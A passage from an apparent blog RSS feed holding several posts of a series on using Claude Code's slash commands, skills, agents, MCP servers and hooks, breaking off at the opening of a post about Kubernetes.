}</code></pre><p>Your rules show up in the context window. Every time. Claude can’t “forget” what’s staring it in the face.</p><h1 id="where-this-goes"><strong>Where This Goes</strong></h1><p>Put your hooks in<code>.claude/settings.json</code> in your project, or<code>~/.claude/settings.json</code> globally.</p><p>Project-level hooks are better. Different projects have different formatters, different rules, different needs. Keep it scoped.</p><h1 id="the-one-gotcha"><strong>The One Gotcha</strong></h1><p>Someone on Reddit pointed out a real issue: if your formatter changes files, Claude gets a system reminder about those changes. Every. Single. Time.</p><p>If you’re formatting aggressively, that’s a lot of noise in your context window. Tokens that could be doing useful work are now just telling Claude that yes, you added a semicolon.</p><p>The fix is to be selective. Format on commit, not on every edit. Or accept the tradeoff. Your call.</p><h1 id="why-you-should-care"><strong>Why You Should Care</strong></h1><p>Hooks turn Claude Code from “AI assistant you have to supervise” into “AI assistant that follows your rules automatically.”</p><p>The power users on Reddit are calling this a game-changer. The rest of the users are still typing “please run the linter” by hand.</p><p>Don’t be the second group.</p><p>Set up three hooks. Formatter, notifications, rule enforcement. Takes ten minutes. Saves hours of typing the same commands.</p><p>Your future self will thank you.</p><p><em>What’s the most repetitive thing you’re still typing manually in Claude Code?</em></p>
]]></content:encoded></item><item><title>Stop Making Claude Code Guess</title><link>https://lakshminp.com/2025/12/stop-making-claude-code-guess/</link><pubDate>Tue, 30 Dec 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/12/stop-making-claude-code-guess/</guid><category>essays</category><category>claude-code</category><description>This is post 4 of 4 in my Claude Code series. Catch up on The Mental Model, Skills vs Slash Commands, and The Control Freak’s Guide to Agents if you missed them.
We’ve covered how to trigger Claude (slash commands), teach it (skills), and let it explore (agents). Now: how to give it access to the real world.
Because right now, Claude is trapped in a box. It can read your code. It can write your code. But it can’t see what’s on a webpage. It can’t query your database. It can’t check your production logs. It’s a very intelligent entity with no access to external reality.</description><content:encoded>&lt;![CDATA[<p><em>This is post 4 of 4 in my Claude Code series. Catch up on<a href="https://lakshminp.substack.com/p/i-spent-weeks-confused-about-claude" rel="external nofollow noopener" class="lnp-link">The Mental Model</a>,<a href="https://lakshminp.substack.com/p/skills-vs-slash-commands-one-works" rel="external nofollow noopener" class="lnp-link">Skills vs Slash Commands</a>, and<a href="https://lakshminp.substack.com/p/the-control-freaks-guide-to-letting" rel="external nofollow noopener" class="lnp-link">The Control Freak’s Guide to Agents</a> if you missed them.</em></p><p>We’ve covered how to trigger Claude (slash commands), teach it (skills), and let it explore (agents). Now: how to give it access to the real world.</p><p>Because right now, Claude is trapped in a box. It can read your code. It can write your code. But it can’t see what’s on a webpage. It can’t query your database. It can’t check your production logs. It’s a very intelligent entity with no access to external reality.</p><p>Ask Claude what your database schema looks like without an MCP server, and you get this:</p><p>“Based on typical Postgres schemas, your users table probably has an id, email, and created_at column&hellip;”</p><p>Probably. Or we could just<em>query the actual database</em>. Revolutionary concept, I know.</p><p>MCP servers are the escape hatch. They give Claude eyes, ears, and hands outside your codebase.</p><h1 id="what-mcp-servers-actually-are"><strong>What MCP servers actually are</strong></h1><p>MCP (Model Context Protocol) servers expose tools to Claude over a standardized protocol. Each server runs as a separate process and registers its capabilities — functions Claude can call when it needs to interact with something external.</p><p><strong>Examples:</strong></p><ul><li><p><strong>Playwright</strong>: browse the web, scrape pages, automate testing</p></li><li><p><strong>Supabase/Postgres</strong>: query databases directly</p></li><li><p><strong>Betterstack</strong>: pull production logs</p></li><li><p><strong>Filesystem</strong>: access files outside your project</p></li></ul><p>The “server” terminology is slightly misleading — they’re really tool providers that Claude can invoke. You configure them in<code>.mcp.json</code>, Claude discovers their capabilities, and suddenly it can do things it couldn’t do before.</p><h1 id="the-critical-distinction-capabilities-vs-instructions"><strong>The critical distinction: capabilities vs instructions</strong></h1><p>This is where people get confused between MCP servers and skills. Let me make it painfully clear:</p><p><strong>MCP servers = capabilities.</strong> They let Claude DO something it couldn’t do before. Playwright gives Claude the ability to browse. A Postgres MCP gives Claude the ability to query databases.</p><p><strong>Skills = instructions.</strong> They tell Claude HOW to do something. A “web-scraping” skill might teach Claude efficient patterns for using Playwright.</p><p>You often want both. The MCP server provides the capability. The skill provides the expertise.</p><p>Example: I have the Supabase MCP installed (capability). I also have a skill that says “when querying user data, always filter by organization_id first for performance” (instruction). The skill makes the capability more useful, but without the capability, the skill is just a nice idea with no way to execute.</p><p>Skills can tell Claude what to do. They can’t give Claude new abilities. Good luck querying your production database using only skills.</p><h1 id="the-token-cost-nobody-mentions-in-the-marketing-materials"><strong>The token cost nobody mentions in the marketing materials</strong></h1><p>Here’s the thing that caught me off guard:<strong>MCP server tool definitions are always in your context window.</strong></p><p>Every MCP server you install adds its tool signatures to every conversation. Even when you’re not using it. Even when you’re doing something completely unrelated. The tool definitions are just sitting there, eating tokens.</p><p>Install 10 MCP servers because they seemed cool? All 10 are eating tokens in every session. Like subscription services you forgot you signed up for, except it’s your API bill.</p><p>This matters for:</p><ul><li><p>Context window limits (you have less room for actual work)</p></li><li><p>Cost (more tokens = more money, math is cruel)</p></li><li><p>Performance (sometimes, more context = slower responses)</p></li></ul><p>Be intentional. Don’t install MCP servers “just in case.” Install what you actually use. Uninstall what you don’t. Your token budget will thank you.</p><h1 id="the-patterns-that-waste-everyones-time"><strong>The patterns that waste everyone’s time</strong></h1><p>Watch any Claude Code session where someone doesn’t have the right MCP servers installed:</p><ul><li><p>Asking Claude to guess what a webpage looks like (when Playwright could just open it)</p></li><li><p>Copy-pasting API responses into the chat (human middleware)</p></li><li><p>Describing database schemas in words (when Claude could just query them)</p></li></ul><p>MCP servers aren’t optional extras. They’re not power-user features for people who want to show off. They’re how Claude becomes actually useful for real-world tasks instead of just being a very eloquent guesser.</p><p>If you’re regularly copy-pasting external data into Claude, you need an MCP server. Stop being the bottleneck.</p><h1 id="my-current-mcp-stack-minimal-intentional"><strong>My current MCP stack (minimal, intentional)</strong></h1><p>For my SaaS projects, I typically configure:</p><ul><li><p><strong>Playwright</strong>: browser automation, web scraping, testing flows</p></li><li><p><strong>Supabase (read-only)</strong>: querying my production database without leaving Claude</p></li><li><p><strong>Betterstack</strong>: pulling logs when debugging production issues</p></li></ul><p>Key point: these are<strong>project-specific</strong>, configured in<code>.mcp.json</code> in the repo. Not global. When I’m working on this blog, I don’t need Supabase or Betterstack — so they’re not loaded, and I’m not paying the token cost.</p><p>This is the lever most people miss. You can have different MCP stacks for different projects. A SaaS project needs database and logs. A content project might just need Playwright for research. Configure per-project, pay only for what that project actually needs.</p><p>I’ve tried others and removed them. The token cost wasn’t worth it for occasional use. That fancy Notion MCP? Gone. The GitHub MCP for repo scaffolding? Turns out<code>gh</code> CLI works fine and doesn’t eat context.</p><p>Minimal viable MCP stack. Everything you need, nothing you don’t.</p><h1 id="when-to-add-an-mcp-server-and-when-not-to"><strong>When to add an MCP server (and when not to)</strong></h1><p><strong>Add an MCP server when:</strong></p><ul><li><p>You’re regularly copy-pasting external data into Claude</p></li><li><p>You’re asking Claude to guess at things it could just look up</p></li><li><p>The task requires interacting with systems outside your codebase</p></li><li><p>The capability would be used frequently enough to justify the token cost</p></li></ul><p><strong>Don’t add an MCP server when:</strong></p><ul><li><p>You might use it “someday” (you won’t, and it’ll eat tokens until you remember to remove it)</p></li><li><p>You’re just curious what it does (read the docs instead)</p></li><li><p>Another tool already covers the capability</p></li><li><p>A CLI tool would be faster and cheaper (often true)</p></li></ul><h1 id="the-full-picture-mcp-servers--skills--agents"><strong>The full picture: MCP servers + skills + agents</strong></h1><p>Here’s how they compose in practice. Say I’m debugging why users are seeing 500 errors:</p><ol><li><p><strong>Betterstack MCP</strong> pulls the error logs from the last hour</p></li><li><p><strong>Supabase MCP</strong> queries the affected user records</p></li><li><p><strong>Agent</strong> correlates the data — finds that all failing requests share a malformed organization_id</p></li><li><p><strong>Skill</strong> reminds Claude to check the migration history when schema issues appear</p></li><li><p><strong>Slash command</strong> triggered this whole investigation with<code>/debug-500s</code></p></li></ol><p>Each layer does its job. The MCP servers are the foundation — without the capability to actually access logs and data, everything else is just documentation for things you can’t do.</p><p>The pattern: MCP servers give Claude access to production reality. Skills teach Claude how to navigate that reality efficiently. Agents do the investigation autonomously. You get answers instead of guesses.</p><p><em>(There’s a deeper rabbit hole here about balancing MCP capabilities against context window costs — which MCPs to load when, how to structure project-specific configs, when to use CLI tools instead. That’s a future post.)</em></p><p><strong>This completes the 4-part series:</strong></p><ol><li><p><a href="https://lakshminp.substack.com/p/i-spent-weeks-confused-about-claude" rel="external nofollow noopener" class="lnp-link">The Mental Model</a> (slash commands, skills, agents, MCP servers, plugins)</p></li><li><p><a href="https://lakshminp.substack.com/p/skills-vs-slash-commands-one-works" rel="external nofollow noopener" class="lnp-link">Skills vs Slash Commands</a> (one works, one “works”)</p></li><li><p><a href="https://lakshminp.substack.com/p/the-control-freaks-guide-to-letting" rel="external nofollow noopener" class="lnp-link">Agents</a> (stop scripting exploration)</p></li><li><p>MCP servers (stop making Claude guess)</p></li></ol><p>I help technical founders develop, deploy, and market their SaaS using Claude Code. If this series saved you some confusion, that’s what I’m here for.</p><p><strong>I’m curious:</strong></p><ul><li><p>What’s your MCP stack? Which servers do you actually use daily vs installed “just in case”?</p></li><li><p>Have you noticed the token cost creep from too many MCPs?</p></li><li><p>Any MCP servers you’d recommend that I haven’t mentioned?</p></li></ul><p>Reply or comment — I read everything.</p>
]]></content:encoded></item><item><title>How to Let Claude Code Explore Without Losing Control</title><link>https://lakshminp.com/2025/12/claude-code-agent-exploration/</link><pubDate>Mon, 29 Dec 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/12/claude-code-agent-exploration/</guid><category>essays</category><category>claude-code</category><description>This is post 3 of 4 in my Claude Code series. Catch up on The Mental Model and Skills vs Slash Commands if you missed them.
My first instinct with Claude Code was to script everything. Every task got a slash command. Every command tried to handle every edge case. Fifty lines of instructions. Nested conditionals. Error handling for scenarios that would never happen. It was beautiful. It was comprehensive. It was also completely fragile and broke constantly.</description><content:encoded>&lt;![CDATA[<p><em>This is post 3 of 4 in my Claude Code series. Catch up on<a href="https://lakshminp.substack.com/p/i-spent-weeks-confused-about-claude" rel="external nofollow noopener" class="lnp-link">The Mental Model</a> and<a href="https://lakshminp.substack.com/p/skills-vs-slash-commands-one-works" rel="external nofollow noopener" class="lnp-link">Skills vs Slash Commands</a> if you missed them.</em></p><p>My first instinct with Claude Code was to script everything. Every task got a slash command. Every command tried to handle every edge case. Fifty lines of instructions. Nested conditionals. Error handling for scenarios that would never happen. It was beautiful. It was comprehensive. It was also completely fragile and broke constantly.</p><p>I was basically writing enterprise Java in prompt form. Nobody should have to live like that.</p><p>Then I discovered agents. Now my slash commands are thin — they set up context and spawn an agent to do the actual work. The agent figures out the details. My blood pressure dropped significantly.</p><p><em>(Quick terminology note: Claude Code calls these “subagents” because they run as subprocesses of your main session. Everyone just says “agents.” I’ll use “agent” throughout because life is short.)</em></p><h1 id="the-mistake-treating-claude-like-a-very-slow-bash-script"><strong>The mistake: treating Claude like a very slow bash script</strong></h1><p>I had a<code>/research-topic</code> command that tried to:</p><ul><li><p>Search the codebase for relevant files</p></li><li><p>Read documentation</p></li><li><p>Check external sources</p></li><li><p>Synthesize findings</p></li><li><p>Format the output in exactly the right way</p></li><li><p>Handle seventeen different edge cases I imagined at 2 AM</p></li></ul><p>It was a mess. Too many conditionals. Too many assumptions about what files exist and where. It broke every time the codebase changed, which was constantly, because that’s what codebases do.</p><p>The fundamental problem: I was trying to script exploration. But exploration is inherently unpredictable. You don’t know what you’ll find until you look. That’s literally the definition of exploration. Trying to pre-script it is like writing detailed driving directions before knowing where you’re going.</p><p>“Turn left at the third building. Unless there isn’t a third building. Then turn right. Unless you’re already facing north. Check the position of the sun&hellip;”</p><p>This is madness. Don’t do this to yourself.</p><h1 id="what-agents-actually-do-and-why-its-better"><strong>What agents actually do (and why it’s better)</strong></h1><p>Agents have their own context. They’re decoupled from your main conversation. They go off, do their thing, and come back with answers.</p><p>You describe the goal. The agent figures out the path.</p><p>“How does authentication work in this codebase?” I have no idea which files to look at. I could spend ten minutes finding them myself. Or I could let Claude spawn an Explore agent — one that’s<em>already built into Claude Code</em> — and get an answer in two minutes.</p><p>Here’s what that actually looks like:</p><pre><code>Me: "How does authentication work in this codebase?"
Claude spawns Explore agent → searches → reads 8 files → returns:
"Authentication uses JWT tokens stored in httpOnly cookies.
The flow: login request → /api/auth/login → validates credentials
→ creates token → sets cookie. Token validation happens in
middleware at src/middleware/auth.ts:42. Refresh logic is in
src/lib/auth/refresh.ts."</code></pre><p>The agent checked 8 files. Maybe it checked 15. I don’t know, and I don’t care. I care about the answer.</p><p>This is fundamentally different from scripting. You’re not specifying steps. You’re specifying outcomes. It’s like hiring a contractor versus writing assembly instructions. One of these is dramatically less exhausting.</p><h1 id="whats-inside-an-agent-dissecting-explore"><strong>What’s inside an agent (dissecting Explore)</strong></h1><p>Claude Code ships with a built-in Explore agent. Let’s look under the hood:</p><p><strong>AspectWhat Explore UsesModel</strong>Haiku (fast, cheap)<strong>Tools</strong>Glob, Grep, Read, limited Bash (ls, git log, etc.)<strong>Can modify files?<strong>No — strictly read-only</strong>Context</strong>Isolated from your main conversation</p><p>The Explore agent has three thoroughness levels:</p><ul><li><p><strong>Quick</strong> — targeted lookup, minimal file traversal. Use when you know roughly what you’re looking for.</p></li><li><p><strong>Medium</strong> — searches multiple related locations. The default for most queries.</p></li><li><p><strong>Very thorough</strong> — comprehensive search across unusual places and naming conventions. Slower, but finds things hidden in unexpected corners.</p></li></ul><p>Here’s the part nobody emphasizes enough:<strong>the agent runs in its own context window.</strong> It can read 20 files, search through thousands of lines, and when it’s done, you get a summary. Your main conversation stays clean. Your token budget stays intact.</p><p>This is huge. Before I understood this, I was reading files directly in my main session and watching my context fill up with code I’d already reviewed. Now the agent does the heavy reading. I get the conclusions.</p><h1 id="when-to-use-agents-a-guide-for-control-freaks-learning-to-let-go"><strong>When to use agents (a guide for control freaks learning to let go)</strong></h1><p><strong>Use agents when the task requires exploration:</strong></p><ul><li><p>“Find all API endpoints and document them”</p></li><li><p>“Investigate why this test is flaky”</p></li><li><p>“Research how other projects handle rate limiting”</p></li><li><p>“What files would I need to change to add feature X?”</p></li></ul><p><strong>Use agents when you’d be guessing at the steps:</strong></p><p>If you find yourself writing a slash command with lots of “if this exists, then&hellip;” logic, stop. Step away from the keyboard. That’s agent territory. You’re trying to pre-solve a problem you don’t understand yet.</p><p><strong>Use agents for heavy reading:</strong></p><p>Agents have their own context window. They can read 20 files without bloating your main session. When they’re done, they return a summary. Your conversation stays clean.</p><h1 id="creating-your-own-agents"><strong>Creating your own agents</strong></h1><p>You don’t have to use the built-in agents. You can create your own.</p><p>An agent is just a skill (markdown file in<code>.claude/commands/</code>) that spawns a subagent using the Task tool. Here’s a simple one:</p><pre><code># /research-topic
Research this topic in the codebase: $ARGUMENTS
Use the Task tool with subagent_type="Explore" to:
- Search for relevant files and patterns
- Read key implementation files
- Understand how it currently works
Return a structured summary:
- Key files involved (with line numbers)
- How the feature currently works
- Any gaps, issues, or technical debt found</code></pre><p>That’s it. No fifty lines of conditionals. No edge case handling. The Explore agent figures out what to search, what to read, how deep to go. You describe the outcome. The agent handles the process.</p><p>The pattern:<strong>thin skill that spawns an agent.</strong> The skill is just a trigger with context. The agent does the thinking.</p><h1 id="agents-vs-slash-commands-the-actual-difference"><strong>Agents vs slash commands (the actual difference)</strong></h1><p><strong>Slash commands / Skills:</strong></p><ul><li><p>Fixed steps</p></li><li><p>Predictable output</p></li><li><p>You know exactly what will happen</p></li><li><p>Good for: formatting, templating, repetitive tasks with known structure</p></li></ul><p><strong>Agents:</strong></p><ul><li><p>Dynamic exploration</p></li><li><p>Variable output</p></li><li><p>Figures out the path autonomously</p></li><li><p>Good for: research, investigation, multi-file analysis, anything where you don’t know what you’ll find</p></li></ul><p>Here’s the mental model: slash commands are for when you know the answer and just need to execute it. Agents are for when you don’t know the answer and need someone to go find it.</p><p>If you’re using slash commands for exploration, you’re making your life unnecessarily difficult. I did this for months. Learn from my suffering.</p><h1 id="the-real-unlock-its-embarrassingly-simple"><strong>The real unlock (it’s embarrassingly simple)</strong></h1><p>Once I stopped trying to script everything, my workflow got simpler. Not more complex. Simpler.</p><p>Skills handle the predictable stuff: commit messages, content formatting, code reviews with a checklist.</p><p>Agents handle the unpredictable stuff: understanding codebases, investigating issues, researching approaches.</p><p>I stopped fighting the tool. I let agents explore. I let skills execute. Everything got easier. I felt slightly foolish for not figuring this out sooner, but that’s the tax you pay for learning things the hard way.</p><p><strong>Next up:</strong> MCP servers — the things that let Claude actually interact with the real world instead of just imagining what websites might contain.</p><p>I help technical founders develop, deploy, and market their SaaS using Claude Code. These lessons came from months of doing it wrong first.</p>
]]></content:encoded></item><item><title>Claude Code Skills vs Slash Commands: Which One to Use</title><link>https://lakshminp.com/2025/12/claude-code-skills-vs-commands/</link><pubDate>Wed, 17 Dec 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/12/claude-code-skills-vs-commands/</guid><category>essays</category><category>claude-code</category><description>This is the most confusing distinction in Claude Code — and it only gets muddier now that skills and slash commands share the stage with subagents and plugins. Both are “reusable prompts.” Both save you from typing the same thing repeatedly. Both are shareable. Both sound like they do roughly the same job. The documentation makes them seem interchangeable, like choosing between Pepsi and Coke.
They are not interchangeable. Three differences matter:</description><content:encoded>&lt;![CDATA[<p>This is<a href="/2025/12/claude-code-mental-model/" class="lnp-link">the most confusing distinction in Claude Code</a> — and it only gets muddier now that skills and slash commands share the stage with subagents and plugins. Both are “reusable prompts.” Both save you from typing the same thing repeatedly. Both are shareable. Both sound like they do roughly the same job. The documentation makes them seem interchangeable, like choosing between Pepsi and Coke.</p><p>They are not interchangeable. Three differences matter:</p><p>1.<strong>Who pulls the trigger:</strong> Slash commands run when YOU invoke them. Skills run when CLAUDE decides they’re relevant.</p><p>2.<strong>Who provides context:</strong> Slash commands take arguments — /draft-linkedin-post [topic] [bullets] tells Claude exactly what to write about. Skills infer context from the conversation and codebase.</p><p>3.<strong>Token cost:</strong> Slash commands get inserted into context every time you invoke them. Skills only load their description until activated — the full content lazy-loads.</p><p>Control and clarity vs automation and efficiency. Pick your trade-off.</p><h1 id="slash-commands-youre-in-control-finally">Slash commands: you’re in control (finally)</h1><p>Slash commands run when you type them. Period. Full stop. No ambiguity. No hoping. No praying to the AI gods.</p><p>You type /draft-linkedin-post, it runs. You type /commit, it commits. Revolutionary concept, I know. In an age of magical AI that’s supposed to read your mind, there’s something deeply satisfying about a tool that just does what you tell it when you tell it.</p><p>I have /draft-linkedin-post that takes a topic and bullets, then outputs a post in my voice. Same structure every time. I don’t want Claude to get creative with the format — I want consistency. I want to type a command and get a predictable result. Like some kind of digital caveman using primitive trigger-response technology.</p><p>Other examples:</p><p>- /commit — standard commit message format</p><p>- /review — code review with my preferred checklist</p><p>- /atomize-content — break an essay into platform-specific posts</p><p>The key: if you’re giving the same instructions more than twice, make it a slash command. Your fingers will thank you. Your sanity will thank you. Your token budget might even thank you.</p><h1 id="skills-claude-decides-when-it-feels-like-it">Skills: Claude decides (when it feels like it)</h1><p>Skills are instructions that Claude is supposed to invoke automatically when relevant.</p><p>The theory — and I’m using “theory” here the same way physicists use it when they’re 90% sure but can’t prove it — is that you write a skill with a nice description, Claude reads it, and magically invokes it when the context matches.</p><p>The reality: skills don’t always fire automatically.</p><p>Sometimes Claude picks them up. Sometimes it doesn’t. Sometimes you have to explicitly say “use the X skill” anyway, which kind of defeats the entire purpose of having an “automatic” system. It’s like having a self-driving car that occasionally requires you to grab the wheel and steer. Very reassuring.</p><p>The dirty secret nobody wants to admit</p><p>Go read r/ClaudeCode threads about skills. I’ll wait. Actually, I’ll save you the trip:</p><p>“It hardly picks up any skill without actually telling it to use it”</p><p>“Skills would be awesome if it actually used them properly”</p><p>“Skills are basically just reminders to the LLM”</p><p>That last one is painfully accurate. Skills are fancy prompts that Claude may or may not remember exist. They’re like Post-It notes you stick on your monitor hoping your future self will notice them. Sometimes you do. Sometimes you walk past them for three weeks wondering why that yellow blob is in your peripheral vision.</p><p>Someone actually tested this.</p><p><a href="https://scottspence.com/posts/how-to-make-claude-code-skills-activate-reliably" rel="external nofollow noopener" class="lnp-link">Scott Spence ran</a> 200+ tests on skill activation reliably:</p><p>The results:</p><p>- Simple instruction hook: 20% activation (coin flip)</p><p>- Forced eval hook: 84% activation</p><p>The difference? Commitment mechanisms. Instead of passively hoping Claude notices skills exist, the forced eval hook makes Claude explicitly evaluate EACH skill with YES/NO reasoning before proceeding.</p><p>Once Claude writes “YES — need this skill,” it’s committed. It’s harder to bypass something you just agreed to use.</p><p>The takeaway: skills can work reliably — but not out of the box. You need<a href="/2026/01/claude-code-hooks/" class="lnp-link">hooks</a> to force the evaluation. Which kind of defeats the “automatic” promise.</p><h2 id="so-why-do-skills-exist-there-are-actual-reasons">So why do skills exist? (There are actual reasons)</h2><p>Three legitimate use cases:</p><p>1. Lazy loading saves tokens.</p><p>Your CLAUDE.md is always in context. Always. Every conversation. Every token. Skills, on the other hand, are loaded on demand — at least in theory. If you have a<a href="/2026/04/claude-md-best-practices/" class="lnp-link">500-line CLAUDE.md</a> because you kept adding “just one more instruction,” consider breaking domain-specific stuff into skills.</p><p>Your wallet will appreciate this eventually.</p><p>2. Organization for the obsessive-compulsive among us.</p><p>Instead of one massive CLAUDE.md that reads like a legal document, you can have modular skills: one for frontend patterns, one for API conventions, one for content writing. It’s cleaner to maintain. It makes you feel like you have your life together. Whether Claude actually uses them correctly is a separate question.</p><p>3. Sharing your neuroses with teammates.</p><p>You can package skills and share them with your team. “Here’s how I want code reviews done” becomes a shareable artifact instead of a 47-message Slack thread that nobody will ever read.</p><p>When to use which (the practical guide for people with deadlines)</p><h3 id="use-slash-commands-when">Use slash commands when:</h3><p>- You want to control exactly when it runs</p><p>- The task has fixed steps</p><p>- Consistency matters more than flexibility</p><p>- You don’t trust Claude to figure out when to apply it (wise)</p><h3 id="use-skills-when">Use skills when:</h3><p>- Instructions only apply sometimes (not every conversation)</p><p>- You want to reduce CLAUDE.md bloat</p><p>- You’re okay with Claude deciding relevance (optimistic)</p><p>- You want to share patterns across projects/teams</p><p>- You’re mentally prepared to invoke them explicitly anyway</p><h1 id="my-approach-learned-through-pain">My approach (learned through pain)</h1><p>I default to slash commands. I want control. I’ve been burned too many times by “intelligent” systems that aren’t quite intelligent enough.</p><p>I use skills for domain-specific instructions that would bloat my CLAUDE.md unnecessarily. My post summarizer skill doesn’t need to be in context when I’m debugging Python. My code review preferences don’t need to load when I’m drafting blog posts.</p><p>When I create a skill, I mentally prepare to invoke it explicitly. If Claude picks it up automatically, great — I’ll take that win. If not, I type “use the X skill” and move on with my life. No frustration. No existential crisis. Just pragmatic acceptance that the future isn’t quite here yet.</p><p>This is post 2 of 4. Next up:<a href="/2025/12/claude-code-agent-exploration/" class="lnp-link">agents</a> — and when to stop trying to script everything like it’s 2015.</p>
]]></content:encoded></item><item><title>I Spent Weeks Confused About Claude Code's 5 Concepts. Here's the Mental Model That Finally Clicked.</title><link>https://lakshminp.com/2025/12/claude-code-mental-model/</link><pubDate>Thu, 11 Dec 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/12/claude-code-mental-model/</guid><category>essays</category><category>claude-code</category><description>Slash commands, skills, agents, MCP servers, plugins. Five concepts. Five different jobs. One very confused developer (me) trying to figure out which one to use when.
You&amp;rsquo;re using Claude Code. You&amp;rsquo;ve seen these terms thrown around like confetti at a developer conference. Slash commands! Skills! Agents! MCP servers! Plugins! Each one sounds important. Each one sounds slightly different from the others. Each one makes you wonder if you&amp;rsquo;re using Claude Code wrong.</description><content:encoded>&lt;![CDATA[<p>Slash commands, skills, agents, MCP servers, plugins. Five concepts. Five different jobs. One very confused developer (me) trying to figure out which one to use when.</p><p>You&rsquo;re using Claude Code. You&rsquo;ve seen these terms thrown around like confetti at a developer conference. Slash commands! Skills! Agents! MCP servers! Plugins! Each one sounds important. Each one sounds slightly different from the others. Each one makes you wonder if you&rsquo;re using Claude Code wrong.</p><p>Spoiler: you probably are. But so is everyone else, so don&rsquo;t feel too special about it.</p><p>Here&rsquo;s the mental model that finally made sense to me after weeks of confusion and several existential crises about whether I understood my own tools.</p><h2 id="the-one-sentence-version">The one-sentence version</h2><p><strong>Slash commands</strong> = shortcuts you trigger manually (like a civilized person)</p><p><strong>Skills</strong> = instructions Claude<em>might</em> trigger automatically (emphasis on &ldquo;might&rdquo;)</p><p><strong>Agents</strong> = autonomous workers with their own context (little worker bees you send off to do your bidding)</p><p><strong>MCP servers</strong> = external capabilities like browsers, databases, APIs (the things that let Claude actually<em>do</em> stuff in the real world)</p><p><strong>Plugins</strong> = packaging that bundles any combination of the above (a zip file for your AI workflow, basically)</p><p>That&rsquo;s it. Five concepts. Five different jobs. The confusion happens because they overlap like a Venn diagram designed by someone who hates clarity. A slash command can spawn an agent. An agent can use MCP servers. A plugin can contain all of the above. It&rsquo;s turtles all the way down.</p><p>(I&rsquo;m not covering<strong>hooks</strong> here — automations that fire on events like file saves. That&rsquo;s a whole other therapy session.)</p><h2 id="the-key-distinction-most-people-miss">The key distinction most people miss</h2><p>Here&rsquo;s what nobody tells you upfront:<strong>who decides when something runs?</strong></p><ul><li>Slash commands:<strong>You</strong> trigger them. Like pressing a button. Revolutionary concept.</li><li>Skills:<strong>Claude</strong> triggers them. In theory. When it feels like it. Maybe.</li><li>Agents:<strong>You</strong> spawn them, then they run autonomously until they&rsquo;re done or your tokens are.</li><li>MCP servers:<strong>Claude</strong> calls them when it needs to reach outside your codebase.</li><li>Plugins:<strong>You</strong> install them. They&rsquo;re just containers.</li></ul><p>This matters more than all the technical mumbo-jumbo. Want control? Slash commands. Want Claude to figure it out? Skills. Want to let something loose and hope for the best? Agents. Want Claude to actually interact with the real world? MCP servers.</p><h2 id="the-decision-tree-for-people-who-dont-want-to-think-about-this-anymore">The decision tree (for people who don&rsquo;t want to think about this anymore)</h2><p>When you&rsquo;re about to ask Claude to do something, run through this:</p><p><strong>Is it a repeatable task with fixed steps?</strong> → Slash command. Done. Move on with your life.</p><p><strong>Does it need to access external systems?</strong> → MCP server. Claude can&rsquo;t browse the web or query databases with pure thought. Yet.</p><p><strong>Does it require exploration and figuring things out?</strong> → Agent. Let it wander. It&rsquo;s smarter than you think. Sometimes.</p><p><strong>Is it domain-specific instructions that don&rsquo;t always apply?</strong> → Skill. Good luck getting Claude to actually use it without being asked.</p><p><strong>Do you want to share your setup with others?</strong> → Package it as a plugin. Make it someone else&rsquo;s problem.</p><h2 id="the-overlap-problem-or-why-everyone-builds-three-things-for-the-same-task">The overlap problem (or: why everyone builds three things for the same task)</h2><p>Here&rsquo;s what happens in the wild: developers build a slash command, a skill, AND an agent for the same task. I&rsquo;ve done it. You&rsquo;ve probably done it. We&rsquo;ve all sinned.</p><p>Pick one primary approach:</p><ul><li>Need<strong>control over when it runs</strong> → slash command</li><li>Need<strong>Claude to decide when it&rsquo;s relevant</strong> → skill (and a prayer)</li><li>Need<strong>autonomous multi-step execution</strong> → agent</li><li>Need<strong>external system access</strong> → MCP server</li><li>Need<strong>to share your setup</strong> → plugin</li></ul><p>Use the others to support, not duplicate. Your future self will thank you when you&rsquo;re not debugging three different implementations of the same thing at 2 AM.</p><h2 id="how-they-layer-the-actually-useful-part">How they layer (the actually useful part)</h2><p>Think of it as a stack:</p><ul><li><strong>Skills</strong> = instructions (how to do things)</li><li><strong>Slash commands</strong> = triggers (entry points you control)</li><li><strong>Agents</strong> = workers (autonomous task executors)</li><li><strong>MCP servers</strong> = capabilities (external system access)</li><li><strong>Plugins</strong> = packaging (bundles of all the above)</li></ul><p>A slash command can spawn an agent. An agent can use MCP servers. A skill can teach Claude how to use an MCP server efficiently. A plugin can package all of this into something you can share on GitHub and pretend makes you a thought leader.</p><p>They compose. They don&rsquo;t compete. Unless you make them compete, in which case, godspeed.</p><p>This is post 1 of 4. Next up: slash commands vs skills — and why skills don&rsquo;t work the way the documentation promises they will.</p><p>I help technical founders develop, deploy, and market their SaaS using Claude Code. This is the kind of workflow clarity I wish someone had given me three months ago.</p>
]]></content:encoded></item><item><title>I spent years on Kubernetes. Now I'm betting against it.</title><link>https://lakshminp.com/2025/12/kubernetes-indie-dev-alternative/</link><pubDate>Thu, 04 Dec 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/12/kubernetes-indie-dev-alternative/</guid><category>essays</category><category>kubernetes</category><description>I’ve spent years in the Kubernetes ecosystem. I wrote about K3s. I ran production clusters. I know my way around kubectl, Helm charts, and the CNCF landscape.
And I’m building a deployment tool that doesn’t use any of it.
Here’s why.
Kubernetes solves problems you don’t have K8s is incredible engineering. It solves real problems:
Multi-team deployments without stepping on each other
Automatic failover across dozens of nodes
